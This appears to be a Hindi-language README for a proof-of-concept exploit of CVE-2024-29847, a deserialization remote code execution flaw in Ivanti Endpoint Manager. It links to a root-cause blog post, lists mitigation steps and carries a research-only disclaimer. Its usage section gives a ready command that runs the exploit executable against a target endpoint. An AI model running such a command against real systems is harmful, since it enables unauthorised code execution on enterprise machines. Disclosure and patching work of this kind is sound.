CVE-2024-29847

Ivanti Endpoint Manager AgentPortal में अविश्वसनीय डेटा डिसेरियलाइज़ेशन रिमोट कोड निष्पादन भेद्यता (CVE-2024-29847) के लिए PoC

इस भेद्यता का मूल कारण विश्लेषण मेरे ब्लॉग पर पाया जा सकता है:

https://summoning.team/blog/ivanti-epm-CVE-2024-29847-deserialization-RCE/

उपयोग

CVE-2024-29847.exe --uselease --installdir "C:\Program Files\LANDesk\ManagementSuite\LANDesk\ManagementSuite\Core\Core.Webservices" tcp://192.168.0.200:49669/LDSM exec test

शमन

नवीनतम संस्करण में अपडेट करें या इस लिंक के माध्यम से शमन करें

• https://forums.ivanti.com/s/article/Security-Advisory-EPM-September-2024-for-EPM-2024-and-EPM-2022?language=en_US

नवीनतम सुरक्षा अनुसंधान के लिए हमें Twitter(X) पर फॉलो करें:

• SinSinology
• SummoningTeam

अस्वीकरण

यह सॉफ़्टवेयर विशुद्ध रूप से अकादमिक अनुसंधान और प्रभावी रक्षात्मक तकनीकों के विकास के उद्देश्यों के लिए बनाया गया है, और इसका उपयोग सिस्टम पर हमला करने के लिए नहीं है, सिवाय जहां स्पष्ट रूप से अधिकृत किया गया हो। परियोजना अनुरक्षक सॉफ़्टवेयर के दुरुपयोग के लिए ज़िम्मेदार या उत्तरदायी नहीं हैं। जिम्मेदारी से उपयोग करें।